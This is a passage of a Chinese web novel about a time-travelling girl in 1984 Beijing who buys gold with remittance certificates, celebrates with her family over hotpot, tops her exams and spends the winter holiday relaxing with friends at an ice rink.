柜台里的售货员穿着干净的蓝布工装,看见她们进来,立刻热情地迎了上来:“同志,想看点什么首饰?我们这儿刚到了一批足金首饰,款式全得很!” 玻璃柜台里,摆着各式各样的金饰,光圈手镯、龙凤戒指、鸡心吊坠、珍珠耳环,还有给小孩子打的长命锁,在灯光下闪着金灿灿的光,晃得人眼睛都亮。 李秀兰这辈子都没这么大手笔买过黄金,站在柜台前,手都有点发僵,下意识地看向时墨。 “妈,您随便挑,喜欢哪个买哪个,别心疼钱。”时墨笑着推了推她的胳膊,“您养我这么大,我给您买点金饰,天经地义。” 售货员一听这话,笑得更热情了,连忙把几款卖得最好的手镯、戒指拿出来,摆在托盘里给李秀兰看:“大姐,您看这款光圈手镯,实心的,戴一辈子款式都不会过时,卖得最好!还有这款福字戒指,都是足金的,四十八块钱一克。” 李秀兰看着托盘里沉甸甸的金手镯,咬了咬牙,指着托盘里的几款说:“这个手镯,这个戒指,还有这个项链,都包起来!” 售货员没想到来了个大客户,眼睛瞬间亮了:“好嘞大姐!您稍等,我这就给您称重!” 旁边路过的大娘看见这阵仗,忍不住凑过来跟同伴嘀咕:“嚯,这谁家的,买金子跟买白菜似的……” “估计是家里办喜事,娶媳妇儿吧。” “看这架势,家里条件肯定差不了!” 李秀兰听着周围的议论,脸有点红,腰板却下意识地挺得笔直。她这辈子,还是第一次这么“挥霍”,心里又是紧张又是痛快,还有点说不出的骄傲——这都是她闺女凭本事赚的钱! 时墨站在旁边,看着售货员把金饰一件件称重、包好,心里的石头也一点点落了地。她悄悄算了算,这一单花了一千八百七十二块,用掉了三十九克侨汇券,还剩一百四十一克的额度,钱也还剩九千三百二十八。 李秀兰掏出钱,数了数,递过去。 出了工美大楼。 “行了吧。”李秀兰把布袋抱紧,“走吧,回家。你不是说还让你爸和你哥帮着买吗?他俩那边咋样了?” “时间来不及,不能指望我爸他们了。”时墨看了眼手表,“妈,咱们再去几家店,趁下班前抓紧。我记得东四那边还有一家,能用侨汇券。” 时墨又拉着李秀兰直奔东安市场,把剩下的侨汇券全用了,买了一对金耳环、长命锁,还有几个金手镯,项链戒指,又花了六千七百多块。 等从东安市场出来,天已经擦黑了,街边的路灯都亮了起来。李秀兰将装金饰的书包背在胸前,一手搂住,一手抓住时墨,嘴里小声念叨:“我的天,这一下午,买金子花了快九千……我这辈子都没敢想过。” 时墨低头看了看手表,已经六点多了,心里咯噔一下。 她记得菜市口百货七点就关门,连忙拉着李秀兰往公交站跑:“妈,快!咱们去菜百,还有最后一家!” 可紧赶慢赶,等她们俩倒了两趟公交赶到菜市口的时候,百货大楼的卷帘门已经拉下来一半,里面的售货员正在打扫卫生,准备下班了。 一楼金店门口已经挂上了“盘点结账,明日请早”的牌子。 时墨看着那块牌子,心凉了半截。 “同志!”她不死心地敲了敲窗户,“同志,能通融一下吗?我们就买一点,很快的!” 里面的售货员隔着窗户摆摆手:“不行不行,账都结了,明天再来吧!” 李秀兰拉着她:“算了算了,明天再买也一样。” 不一样。 时墨没说话,揣进衣兜的手忍不住抠起指肚。 冬天的天黑得早,五点多钟,街上已经亮起了路灯。 时墨站在大街上,算了算手里还剩两千六百二十八,心里像压了块石头。 一百八十克侨汇券花完了,可钱还剩这么多。 明天一早,剩下的钱就会被系统冻结。 什么时候能解冻?不知道。 以后的钱和现在的钱能一样吗?当然不一样! 她现在花出去的每一分钱,都是八四年的购买力。等到系统哪天大发慈悲把钱还给她,说不定已经过了几年、十几年,到时候那点钱还能干什么? 时墨站在路边,风吹得她脸都木了。 李秀兰看她站着不动,有点担心:“闺女?你没事吧?” “没事妈。”时墨回过神,笑了笑,把这点遗憾抛到了脑后。 今天一天,办了买房、过户这么多大事,已经够圆满了,没必要为了这点钱纠结。 两人沿着大街往回走,路过一家店面的时候,时墨突然停下了脚步。 第50章 “东来顺”。 三个大字, 灯火通明,门口飘着涮羊肉的香味。 时墨看着那块招牌,忽然想到, 她穿来这么久, 家里还从没一起出去下过馆子。 今天她妈陪着她东奔西跑了一天, 冻得脸都红了, 连口热水都没喝上,心里顿时有些难受。 “妈,咱们不回家做饭了。”时墨拉着李秀兰的手,笑着道,“咱们去东来顺!吃涮羊肉去!我打电话叫上我爸和我哥, 今天咱们家办成了这么大的事, 必须好好庆祝庆祝!” “东来顺?那多贵啊!”李秀兰连忙摆手,“不用不用, 回家我给你们擀面条, 炒两个菜,一样吃。再说这不年不节的, 下什么馆子?” “哎呀妈, 贵就贵这一回!”时墨拽着她的胳膊就往里走“你就别心疼钱了!” 李秀兰被她说得有点心动, 但还是犹豫:“那也太多了吧?这东来顺可不便宜……” 现在的东来顺, 是首都顶有名的涮肉馆子, 一顿饭要花掉普通工人小半个月的工资,寻常人家根本舍不得去。 可时墨不在乎,她这辈子, 最看重的就是身边的家人,一顿涮羊肉,跟家人的开心比起来, 根本不算什么。 “妈,”时墨拉着她的手,“你今天陪我跑了一天,一口热水都没喝上,我心疼。” 李秀兰看着女儿,眼眶忽然有点热。 “行,”她说,“那就吃一顿。” * 东来顺的大堂里热气腾腾,铜锅的炭火噼啪作响,满屋子都是羊肉的鲜香味和麻酱的醇厚香气。 时墨找了个靠窗的四人桌,让李秀兰坐下,自己去柜台打电话。 先拨到红星机械厂传达室,请大爷喊一声时爱国。 等了五分钟,时爱国接起电话:“喂?” “爸,是我。”时墨说,“你下班直接来前门东来顺,我和妈在这儿等你。” 电话那头沉默了两秒:“东来顺?你们娘俩怎么跑那儿去了?” “今天买了房子,庆祝一下。”时墨笑了笑,“爸你快来吧,我去给我哥打电话啦。” 挂了电话,又拨到时建军单位。 接电话的是门卫大爷,时墨报了名号,等了一会儿,时建军跑步气喘的声音从听筒里传来:“妹?出啥事了?” “没事,哥,你下班来前门这边的东来顺,爸妈都在,咱们一家吃顿饭。” “……东来顺?”时建军声音都变了,“行啊,我妹出息了,带哥吃香喝辣!” “别贫了,快来,等你啊。” 挂了电话,时墨回到座位上。 李秀兰正看着菜单,看人回来,把菜单推过去:“墨墨,你点吧,妈都能吃。” 时墨凑过去看了一眼——手切羊肉、白菜、粉丝、冻豆腐、糖蒜、芝麻酱、烧饼、北冰洋汽水。 “妈,你就点你想吃的。”时墨说,“今天你最大。” 李秀兰瞪她一眼:“你这孩子,尽说些怪话。” 话是这么说,脸上却是笑着的。 * 时爱国和时建军前后脚到的。 时爱国推门进来的时候,看见娘俩坐在窗边,桌上已经摆上了铜锅,炭火烧得正旺,清汤锅底里的海米、葱段、姜片上下翻滚。 “嚯,真吃上了?”他脱了棉袄坐下,搓了搓冻僵的手,看着一桌子菜,又惊又喜,“这锅子可不便宜吧?” “爸,你就别问价钱了。”时墨给他倒了一杯热茶,“今天高兴,咱好好吃一顿。” 时建军一屁股坐下,看着锅里的汤:“哎哟,我可饿坏了,跑了一下午,腿都跑细了。” “你跑什么了?”李秀兰问。 “跟师傅帮人修机器去了。”时建军接过时墨递过来的筷子,“妹,你那事办完了?” 时墨点点头:“办完了。” 时建军没再多问,注意力全被端上来的羊肉吸引了。 一盘盘手切羊肉端上来,红白相间,薄得透亮。 时墨拿着筷子,往锅里拨肉。 羊肉在沸水里滚两滚就变了色,捞出来蘸上麻酱小料,往嘴里一送——香,嫩,没有一点膻味。 “嚯!这羊肉也太嫩了!”时建军竖起大拇指,“这才叫涮羊肉!” 时墨也吃得顾不上说话,一口接一口。 时爱国涮着肉,看着对面的妻子和儿女,眼里带着笑。 铜锅里的汤咕嘟咕嘟冒着泡,热气蒸腾,熏得窗户上结了一层白雾。 李秀兰说着今天买房的经过,时建军拍着胸脯说周末就去院子里收拾卫生,时爱国喝着汽水,笑着规划院子里要种什么菜,时墨坐在旁边,听着家人的说笑声,心里那点憋屈彻底消散。 钱被冻结就被冻结,大不了再挣,跟家人在一起的温暖时光,可是多少钱都换不来的。 一顿饭吃到快八点多才结束,一家人吃得肚子圆滚,心满意足。 街上冷得很,时墨缩着脖子,跟着爸妈往公交站走。 时建军走在旁边,看她缩成一团,把自己的围巾解下来,胡乱给她围上。 “哥,我不冷……”时墨想推。 “不冷,还缩脖子。”时建军把围巾给她系好,“戴着吧,我皮厚。” 时墨没再推,裹着他的围巾,跟着人流挤上了公交车。 车上人多,没座,一家四口挤在过道里,抓着扶手晃晃悠悠。 时墨靠在李秀兰旁边,车晃着晃着,眼皮越来越沉。 李秀兰低头一看,闺女脑袋一点一点的,已经睡着了。 “爱国,”她小声说,“墨墨睡着了。” 时爱国扭头看了一眼,想伸手扶,但车里人多,够不着。 时建军往前挪了挪,把妹妹往自己身边拉了拉,让她靠在自己胳膊上。 时墨迷迷糊糊动了动,没醒。 公交车摇摇晃晃开着,窗外的路灯一盏盏往后掠。 到站的时候,时墨还没醒。 时建军弯腰,把妹妹打横抱起来。 时墨迷瞪地睁开眼睛,看到她哥又放心闭上了。 “哎,你慢点儿。”李秀兰在旁边护着。 “没事,我劲儿大。”时建军抱着人下了车,往家属楼走。 时墨在他怀里动了动,嘟囔了一句什么,又睡过去了。 时建军低头看她一眼,嘴角弯了弯。 这丫头,平时主意大得很,跟个大人似的。 也就睡着的时候,才像个高中生。 楼道里的灯有点暗,时建军抱着人一步一步往上走。 李秀兰跟在后面,看着他稳稳当当的背影,忽然有点感慨。 时爱国走在最后,把门打开,屋里黑着灯。 一进屋,李秀兰就把时墨的围脖外衣和鞋都轻手轻脚脱了。 时建军小心翼翼把妹妹放到她床上,拉过被子盖上。 时墨翻了个身,脸埋进枕头里,睡得很沉。 时建军站在床边看了一会儿,轻手轻脚退出去,把门带上。 客厅里,李秀兰倒了三杯茶水。 “睡了?”她问。 “睡了。”时建军坐下,搓了搓手,“今天跑了一天,累坏了。” “一会儿烧点水,我给你妹擦擦脸和脚。” “嗯。” 时爱国泡了杯茶,坐在桌边没说话。 过了好一会儿,他才开口:“咱闺女,是真有主意。” 李秀兰点点头:“可不是嘛,今天这一通跑,买房子买金子,跟打仗似的。我到现在还跟做梦一样。” 时建军撸了把头发:“反正我觉得我妹厉害,她做什么心里都有数。” 时爱国没再说话,端起茶杯喝了一口。 窗外,冬风还在刮。 屋里,一家三口围坐着,谁也没再提钱的事。 几人都知道属于时墨的东西他们不会动。 * 这一觉,时墨睡的那叫一个香,还是被窗台外几只麻雀叽叽喳喳的叫声吵醒的。 时墨揉着眼睛坐起身,还有点懵,刚伸了个懒腰,系统的声音就在脑海里响了起来,带着点小心翼翼的安抚。 【宿主,早上好呀。跟您同步一下资产情况:昨晚吃火锅消费38元,当前剩余超额现金2590元,已按规则执行冻结处理。】 时墨打了个哈欠,半点没往心里去,在心里懒洋洋地回了句:【知道了,冻就冻了吧。你今天怎么提前上班了?】 【因为知道宿主您第一次遇到资产冻结,怕宿主您生气。】系统有点意外,它还以为宿主会郁闷,毕竟两千多块不是小数目。 【生气有什么用?又不能解冻。】时墨掀开被子下床,踩着棉鞋去倒水,【总不能为了这点钱,再去黑市折腾,因小失大。】 【宿主您心态也太好了!】系统瞬间松了口气,连忙奉上好消息,【跟您说个好消息!咱们的限额是按上一年全国职工年均工资的三倍算的,每年元旦会更新一次基数。1984年的全国年均工资比1983年涨了不少,等明年元旦更新,您的月度限额直接能涨到4200块!到时候这笔冻结的钱,也能按比例解除冻结啦!】 时墨挑了挑眉,这倒是个意外之喜。 【行,知道了。】她喝了口热水,半点没把冻结的钱放在心上。 穿越过来这小半年,她从兜里只有几十块钱的穷学生,到现在手里攥着一套四合院、一兜子黄金,还有满屋子的文物宝贝,以及所认识的人脉,对她来说实在算不得什么。比起这个,眼下更重要的,是下个月的期末考试。 她现在可是学校的名人,捐国宝、上报纸、出书,全校师生都盯着她的成绩,后面还有一班的秦野和林薇薇紧追不舍,最近这段时间忙得,倒让她有了点危机感。 时墨心里想着危机感,实际全校都在疯狂刷题冲刺期末,时墨却过得格外“佛系”。 上课认真听讲,下课写完作业,该玩就玩,放学回家就抱着当下畅销小说看,要么就去院子里侍弄那几盆花,晚上到点就睡,半点没有熬夜刷题的样子。 李秀兰都看不过去了,催了她好几次:“墨墨,快考试了,你不赶紧看看书复习复习?天天看闲书,到时候不得考不好啊?” “妈,我心里有数。”时墨啃着苹果,笑得淡定,“该学的平时都学会了,临阵磨枪没用,还不如好好休息,养足精神上考场。” “你心里有数就行。” 她这话可不是吹牛。 他们老师都非常认真负责,恨不得课堂上把所有知识点都塞进学生的脑子里。 时墨她早就把知识点吃透了,又有系统帮忙梳理知识点框架、制定复习计划,期末这点内容,对她来说实在是轻松。 再说她离了学校就不能熬灯费油地刷题内卷,不如劳逸结合,课上专注,保持好状态。 【宿主做得对!咱们就要贯彻躺平原则!学习是为了考大学,不是为了内卷!】系统是个合格的捧哏,【期末考个好成绩就行,没必要熬坏身体!】 时间一晃而过,转眼就到了期末考试。【..top】 50-55 第51章 考场上, 时墨提笔就写,下笔如有神,每科都是提前半个多小时就答完了卷子。她不急着交卷, 把卷子从头到尾又看了一遍, 确认没毛病, 这才慢悠悠地起身。 监考老师看了她一眼, 又看了看她桌上工整的卷面,眼里带着几分赞许。 反观旁边的同学,个个愁眉苦脸,咬着笔杆子苦苦思索,笔尖在草稿纸上划来划去, 不到打铃前最后一分钟, 绝不肯停笔。 两天考下来,时墨自我感觉良好。 考完最后一科, 她收拾书包往外走, 刚出教学楼,就迎面撞上了秦野。 秦野看见她, 脚步顿了顿, 耳尖微微发红, 对着她点了下头, 算是打了招呼。 时墨也礼貌地点点头, 没多说什么,两人擦肩而过。 她没注意到,秦野在她身后站了好一会儿, 看着她走远的背影,眼神里藏着说不清道不明的情愫,还有点少年人不服输的执拗。 考试一结束, 全校学生都跟脱了缰的野马似的,欢呼着冲出考场,把书本往天上抛,寒假就这么热热闹闹地拉开了序幕。 * 三天后,成绩出来了。 高三红榜贴在学校大门口的宣传栏上,里三层外三层围得全是学生,叽叽喳喳的,跟赶大集似的。 “卧槽,秦野第二?他以前不是一直第三吗?” “林薇薇第三?我的天!” “你们没看总分吗?时墨比秦野高了整整二十七分!这还是人吗?!” “真邪乎了!天天看她上课不慌不忙的,放学也不熬夜刷题,怎么就能考这么高?没天理了!” 时墨被同学拉着挤进去的时候,一眼就看到了红榜最顶端她的名字。 【恭喜宿主!稳坐年级第一!超额完成学习目标!奖励能量币800枚!】系统的欢呼声在脑海里炸响。 【尽在掌握。】时墨弯了下嘴角,笑道。 旁边的同学瞬间围了上来,七嘴八舌地夸: “时墨你也太牛了!天天看着你不怎么刷题,还能考这么高!” “学霸就是学霸啊!” “你这分数,首都大学稳了!闭着眼睛都能进!” 人群里,秦野也挤在红榜前,目光先落在最顶端的那个名字上,看了好一会儿,才往下挪,落在自己的名字上。 时墨,698分。 秦野,671分。 看着两人的名字上下紧挨在一起。 秦野的心脏砰砰直跳,嘴角怎么压都压不下去。 从小到大,他家里条件好,要什么有什么,从来没有特别想要的东西。可这次不一样。这两个月的拼命,他每天刷题到半夜,把所有的课外书、录音机都锁了起来,放弃了所有的娱乐,拼了命地学,就为了能离这个名字近一点,再近一点。 现在,他终于做到了。 就在她下面,紧挨着她。 这种满足感,比他爸给他买的最新的进口录音机还要强烈一百倍。 “可以啊秦野,你这俩个月没白费。”林薇薇站在旁边,看着红榜上的分数,倒是没什么不服气的。这段时间秦野有多拼命,她都看在眼里,每天最早到教室,最晚走,习题集刷完了一本又一本,能超过自己,也在情理之中。 秦野转头看她。 林薇薇笑着耸了下肩,语气坦然:“我输得心服口服。不过你别得意,寒假我肯定要努力冲刺,下学期开学咱们再比。” “当然,我不会让给你的。”秦野笑容爽朗,目光却不自觉地飘向了人群中心的时墨。 “很是期待。”林薇薇说完,顺着他的目光看过去,也看见了被围在中间的时墨,连忙笑着挤了过去。 “时墨,你也太厉害了,这次第一又是你!”林薇薇走到她身边,眼里满是佩服,“寒假你有什么安排?要不要一起约着学习?我听说你家跟我家离得不远,咱们可以轮着去对方家里,或者去区图书馆也行,互相监督,一起进步。” 这话一出,跟过来的秦野立刻竖起了耳朵,眼睛亮晶晶地看向时墨,屏住呼吸等着她的回答,心里巴不得她立刻答应。 时墨刚要开口,系统的警报先响了。 【警告!警告!寒假期间宿主必须严格执行“躺平”条款!不得进行任何形式的劳累性活动!包括但不限于:主动学习、补课、刷题、备考!】 时墨嘴角一抽,得,想卷都不让卷。 【宿主本次无上学安排作为挡箭牌,务必维持“躺平”人设,保证充足的及休息娱乐时间!如有违反,将触发一级惩罚!】 她对着林薇薇露出一个歉意的笑,摆了摆手:“不了不了,这一学期这一学期我脑子都快转冒烟了,可算放假了,我可得好好歇歇。你也知道,我平时事儿多,又要上学又要处理那些杂七杂八的事,累得够呛。寒假我得彻底躺平,养精蓄锐。” 她顿了顿,又补了一句,语重心长道:“薇薇,学习要劳逸结合,弦绷太紧容易断。寒假就不卷啦!该玩就得玩!” 这话一出,周围的同学全愣住了。 谁也没想到,次次考第一的大学霸,寒假竟然打算不学习? 林薇薇也懵了。她以为时墨这种学霸,放假只会更拼命,没想到竟然是这个打算。 “你真不学啊?”她有点不敢相信。 “真不学。”时墨看着大家惊讶的表情,笑着补了一句,“不过你们要是想玩,随时可以来找我。咱们可以闲聊天、逛公园、看电影都行,就是别提学习。现在冰场都冻实了,到时候可以一起去溜冰。” “也是,你这一学期确实忙,是该好好歇歇。”林薇薇点点头:“那说好了,我到时候去找你。” 旁边几个同学一听,眼睛都亮了,呼啦啦凑过来: “我也去!” “溜冰好啊!什刹海那边冰场都开了!” “对对对!我去年去过,可好玩了!” “算我一个!时墨,到时候我们喊你啊!” “要不咱们过年去逛厂甸庙会?那几天可热闹了,有耍把戏的,还有卖糖葫芦、吹糖人的!” 同学们瞬间兴奋起来,七嘴八舌地聊起了寒假的玩法,把学习的事抛到了九霄云外。 时墨听着大家讨论,像是忽然想起什么,随口说了句:“其实除了这些,咱们还能玩点新鲜的,比如编个故事,分角色演,跟着剧情找线索解谜,就跟破案似的,人多了玩才有意思。” 几个同学面面相觑,一脸茫然。 “破案?那不是公安局的事吗?” “是啊,而且演故事,那不是文工团才排的吗?” 时墨笑了笑,摆摆手:“没什么难的,就是个游戏,改天我教你们,保准好玩。” 秦野一听动了心思,立刻抢着答应:“行啊!到时候我喊大家一起!要是去滑冰,什刹海冰场我熟,那边租冰鞋的铺子我都认识,冰鞋都是新磨的刃,特别好滑,我来安排!” 他巴不得多些跟时墨相处的机会,这种场合,怎么能少了他? 一群人叽叽喳喳说得热闹,班主任从办公室出来,看见他们围成一堆,笑着拍了拍手:“都散了散了!放假了还不赶紧回家?作业都领了没?” “领了!”同学们哄笑着应道。 “寒假别光顾着玩,好好复习!下学期开学摸底考试,高三了,一点都不能松懈!考砸了有你们好看的!”班主任板着脸叮嘱,眼里却全是笑意。 “知道了——” 大家拖着长音应下,哄笑着散开,各自往校门口走。 时墨把书包垮地挂在肩上,脚步轻快地跟着人流往外走。 * 放了假,时墨彻底放飞自我。 直接开启了摆烂模式:每天睡到自然醒,经常早饭午饭凑一顿吃。吃完了要么窝在沙发上看小说、听收音机、看电视 ,要么在躺椅上晒太阳、嗑瓜子、晒暖儿,偶尔跟邻居聊家常,扯闲篇,那是半页复习资料都不碰。 李秀兰看着她这副样子,又好气又好笑,用棒针拍了拍她的腿:“你这孩子,上学的时候风风火火的,放了假怎么懒成这样?天天除了吃就是睡,也不怕躺懒了骨头?” “妈,这叫劳逸结合。”时墨嗑着瓜子,笑得一脸惬意,说话都透着股懒意,“平时上学费脑子,放假就得好好歇着,把亏的觉都补回来。再说了,我这叫享受生活,不叫懒。” “行,你理儿多,我说不过你。”李秀兰无奈地摇摇头,却还是起身给她端了杯茶水,“喝点茶水,别光嗑瓜子,上火。” “我就知道妈最疼我了!”时墨立刻坐起来,抱着杯子喝了一口。 时爱国也坐在一边,笑着帮腔:“孩子一学期够累的,放假就让她歇着吧。墨墨心里有数,耽误不了学习。” “我知道,不是不让她休息,就是总不动弹,骨头容易酥,还容易感冒。”李秀兰嘴上念叨着,手里的毛衣针却没停,给时墨织的红围巾,就差收个尾了。 “没事,妈你多虑了。”时墨指着客厅里的躺椅,“太阳只要出来我都去那儿晒。晒太阳补钙,不会酥!” 李秀兰“气”得上去拍了时墨后背一巴掌。 时墨立刻顺势倒下,“哎哟哎哟”叫唤起来:“完了完了,我中了我妈的‘降龙十八掌’,浑身都动不了了!” 李秀兰被她逗得笑出声,又上去轻轻拍了她后背一巴掌:“你这丫头,没个正形!” 时爱国在旁边笑得直摇头。 爸妈惯着,哥哥更是宠得没边。 时建军每天下班回来,都会给她带点零嘴。糖葫芦、糖炒栗子、驴打滚、豌豆黄,变着花样往回捎。 这天他下班回来,一进门就看见时墨窝在沙发上看电视,立刻晃了晃手里的网兜逗她:“哟,我们家大忙人终于闲下来了?看看哥给你带什么回来了?” 时墨眼睛一亮,立刻坐起来:“黄桃罐头?” “猜对了。”时建军笑着把罐头递给她,又去厨房拿了个螺丝刀,帮她撬开了瓶盖,“喏,吃吧。” “啊,哥,我爱死你了!”时墨接过罐头,挖了一大块黄桃塞进嘴里,甜得眯起了眼睛。 “嘶——”时建军有点受不了妹妹这直白的话,脸微微发红,“哥虽然也爱你,但咱们得含蓄点,让外人听见了笑话。” “哥,你这含蓄过了头,我嫂子都不知道什么时候能进门。”时墨嚼着黄桃,故意逗他。 “嘿,你这丫头,没大没小的。”时建军伸手去抢她的罐头,兄妹俩在沙发上闹成一团,笑声传遍了整个屋子。 【宿主!这才是躺平的真谛!多美好!愉悦身心!啊,我们爱躺平——】系统每天跟着时墨晒太阳、听评书,过得惬意非凡,捧哏的功力与日俱增。 这样悠闲的日子过了没两天,周晓娟就找上门来了。 “墨墨!墨墨在家吗?”人还没进门,清脆的声音先传了进来—— 作者有话说:明天入v会爆更,期待看到大家 第52章 时墨立刻从沙发上蹦起来, 跑去开门:“晓娟!快进来!外面冷不冷?” 一进门,周晓娟就扑过来抱住她,激动得不行:“可想死我了!你终于放假了, 可算能来找你玩了!” 时墨被她勒得喘不过气, 笑着拍她:笑着拍她的背:“松开松开, 勒死了!” 周晓娟松开手, 上上下下打量她,啧 啧两声:“你倒是胖了点,脸色红扑扑的。看来放假这几天是真好好歇着了。” “那可不,我能躺着绝对不坐着,能坐着绝对不站着。让我哥天天下班给我捎零嘴, 就差被人喂饭了。”时墨夸张地打趣道, 拉着她在沙发上坐下,给她倒了杯热麦乳精。 “也就叔叔阿姨惯着你, 你哥也疼你。”周晓娟羡慕地喝了一口麦乳精, 暖乎乎的顺着喉咙滑下去,浑身都舒坦了。 “我哥除了嘴笨点, 人没得说。”时墨坐在她身边问, “对了, 你怎么想着今天过来了?不是说你们社团活动挺多的吗?” “嗨, 别提了。”周晓娟摆摆手, “放假了,社团也歇了。我想着你之前考试、出书,肯定忙得脚不沾地, 一直没敢来打扰。这过了几天,估摸着你休息过来了,就赶紧来看看你, 我都想你了!” “我也想你呢。”时墨笑着道,“我现在闲得发慌,你以后天天来都没事,正好陪我解闷。” 两人黏糊着聊了半天,周晓娟喝了口水,忽然想起什么,眼睛亮晶晶地看着她:“对了墨墨,你知道吗?我们话剧社的人,现在都可崇拜你了!” 时墨奇怪道:“他们崇拜我干什么?” 周晓娟激动道,“你前些日子做的那些事儿,我们都传遍了!捐国宝、上报纸、出书、次次考第一。我的天,你现在在我们文学社,那就是活着的传奇!大家天天都在聊你,说你是文武双全,有大义还有才情!” 时墨被她说得哭笑不得:“哎哟,咱俩就别来这虚的了,再吹我该飘了。” “没吹!都是实话!”周晓娟一脸认真道,“真的,大家伙儿都可佩服你了。尤其是沈岩,他提你提得最多!” 时墨心里一动,面上不动声色:“沈岩?他提我什么?” 周晓娟想了想,学着沈岩的语气,一本正经地模仿起来: “‘时墨捐国宝那事儿,那是民族大义,一般人根本做不到!’” “‘时墨出的书,我买了三本,一本看,一本收藏,一本送人!写得那是真好!’” “‘时墨考第一是应该的,她那么厉害!’” “哎呀,反正就是各种夸。你是没见他那个劲儿,一提起你,眼睛都放光!” 时墨听得哭笑不得。 好家伙,她这是平白无故多了个迷弟? “对了对了。”周晓娟忽然压低声音,神神秘秘地说,“沈岩把所有登了你报道的报纸都剪下来了,贴在本子上,旁边还写了批注。知道你和他妈妈有工作往来,更是从他妈那儿打听你。结果听的全是好话,更崇拜了!” 时墨愣了一下。 剪报本? 这…… 她跟沈岩也就接触两次,没想到这人对她评价这么高。 “行了行了,别说了,再说我该飘了。” 周晓娟在时墨家呆了整整一下午。 时墨跟她讲了半夜跑鬼市的经历,讲了怎么辨宝、怎么跟摊主砍价,怎么避开赃物陷阱。听得周晓娟一愣一愣的,眼睛瞪得溜圆,一会儿紧张地攥紧拳头,一会儿又忍不住惊呼。 听完了,她又满脸担心:“我的天!那地方也太危险了!你以后可别跟你哥去了!万一出点什么事怎么办!” “放心吧,我心里有数,不会拿安危开玩笑的。”时墨笑着安抚她。 眼看着天擦黑了,胡同里的路灯都亮了,周晓娟才依依不舍地起身。 “哎呀,我得走了,天黑了路上不好走,我妈该着急了。” “嗯,你路上慢点。” 时墨送她到门口。 周晓娟临走前还不忘跟她约好:“后天上午,什刹海冰场,咱们说好了一起去溜冰!你可千万别忘了!” “忘不了,肯定到。”时墨笑着挥挥手。 “定好了啊!那我走了!”周晓娟挥挥手,跑下楼去。 * 周晓娟刚走没多久,时建军就下班回来了,手里拎着一袋刚出锅的糖炒栗子,还热乎着,一进门就闻见了满屋子的甜香味。 “又躺了一天?”他脱了棉袄挂在门后,凑过去挤在沙发上,跟她抢地方。 时墨往旁边挪了挪,给他腾了个地儿,接过他递过来的栗子,剥开一个塞进嘴里,甜糯糯的。 “哥,今天晓娟来了。” 时建军随即装作若无其事的样子,“哦”了一声:“她来干啥?” “找我玩呗。”时墨扭头看他,笑眯眯的,“她还约我后天上午去什刹海冰场溜冰,你也一起去呗?” 时建军脸有点红:“我去干啥?你们都是小姑娘,还有她的同学,我一个上班的去了,多不合适。” “有啥不合适的?”时墨挑了挑眉,故意逗他,“晓娟也去啊。你俩都好久没见了,正好趁这个机会见见。晓娟人长得漂亮,性格又好,追她的人肯定不少。你要是再不主动点,当初那点好感,人家早忘了。” 时建军低着头,手指抠着栗子壳,没说话。 时墨收了笑,认真地看着他:“哥,再说了,你现在可不差。首都机械研究所的正式职工,有编制,这条件拿出去,多少人羡慕呢!你还有什么好自卑的?” 时建军苦笑了一下:“这工作是怎么来的,你又不是不知道。说出去多丢人。” “哥,你想什么呢,哪丢人了?”时墨坐直了身子,语气格外认真,“机会是借了我的光,可能不能留下来,靠的全是你自己。你要是自己不行,我这敲门砖再好也没用。人家找个理由都能把你踢出去。你是凭自己本事站稳了脚跟,有什么不好意思说的?” 时建军抬起头,看着妹妹认真的眼神,心里忽然涌上一股暖流。 “你就这么看好你哥?” “废话,你是我哥。”她拍了拍哥哥的胳膊,给他打气,“晓娟不是那种嫌贫爱富的人,她看重的是人品,是上进心。你现在有编制、有技术,还在复习准备考职工大专,这么优秀,有什么不敢的?” “行了哥,别想那么多了。后天跟我一起去,就当陪我了,行不行?” 时建军被妹妹说得动了心,他确实喜欢周晓娟很久了,只是一直自卑,不敢主动。被时墨这么一激励,他终于点了点头:“行!哥跟你去!” “这就对了!”时墨笑得一脸得意,“到时候我帮你创造机会,保准没问题!” * 两天后,什刹海冰场。 什刹海冰面被冻得结结实实,太阳一照,亮得晃眼。 冰场上热闹得翻了天,穿军大衣的小伙子们勾着肩搭着背,你追我赶地飙速,冰刀划开冰面,溅起细碎的冰碴子;滑花样的女孩儿像燕子似的掠过冰面,引来阵阵叫好;半大的孩子坐在木头冰车上,被大人拽着满场跑,尖叫声、笑闹声、冰车轱辘的咕噜声混在一起,顺着风飘出去老远。 冰场门口,支着几个租冰鞋的摊子,厚木板上摆着大大小小的皮冰鞋,单刀的、双刀的,刃都磨得锃亮。 老板裹着厚棉袄,跺着脚扯着嗓子吆喝:“租冰鞋了啊!国营厂子出的新冰鞋!新磨的冰刀!五毛钱一双!不限时!不好滑不要钱!” 时墨穿着蓝布厚棉袄,围着妈妈新织的大红围巾,把半张脸都埋在围巾里,只露着一双亮晶晶的眼睛,正牵着时建军的胳膊往冰场门口走。 刚拐过弯,就看见周晓娟挥着手朝她跑过来,脑后的麻花辫甩得飞起,身后还跟着沈岩和四五个话剧社的同学。 “墨墨!你可算来了!我们都等你好一会儿了!”周晓娟跑到她面前,笑得一脸灿烂,嘴里呼出的白气在冷空气中瞬间散了。 “路上有点堵车。来晚了,不好意思啊。”时墨笑着回应,余光扫了眼身边——她哥今天特意理了发,穿着那件过年才上身的军大衣,站得笔直,眼神不自觉地往周晓娟身上飘。 沈岩也穿着一身干净的军大衣,看见时墨,连忙上前两步,打招呼:“时墨,好久不见!” “好久不见,沈岩。”时墨笑着点了点头。 周晓娟挽住她的胳膊,凑到她耳边,压低声音,带着点歉意解释:“墨墨,对不住啊,我也没料到他们都要来。沈岩不知道从哪儿听说咱俩约了滑冰,非要拉着话剧社的同学一块儿来,说人多热闹。我想着都是一个社的同学,不好驳面子,就……” “没事,人多更热闹。”时墨拍了拍她的手,毫不在意地笑了笑。 话音刚落,旁边又走过来几个人。 为首的正是秦野,穿着一身挺括的藏蓝色棉袄,围着条深灰色羊毛围巾,双手插在兜里,身姿挺拔。看见时墨的那一刻,他原本没什么表情的脸瞬间亮了,眼睛里像落了星星,快步走了过来。 他身后还跟着两个同班的男同学,看见时墨,都嬉皮笑脸地打招呼:“时墨!这么巧啊!” “你们怎么也来了?”时墨有点意外。 “来滑冰啊!谁承想刚到门口就碰见你了,这不是缘分嘛!”秦野笑得一脸灿烂,目光牢牢锁在时墨身上,又飞快地扫了一眼她身边的时建军,眼神里闪过一丝了然,立刻主动伸出手,笑着打招呼:“这位就是时哥吧?总听时墨提起你,我是她同班同学秦野。” “对,我哥,时建军。”时墨顺势介绍,“哥,这是我同学秦野,这位是沈岩,这几个是晓娟话剧社的同学。” 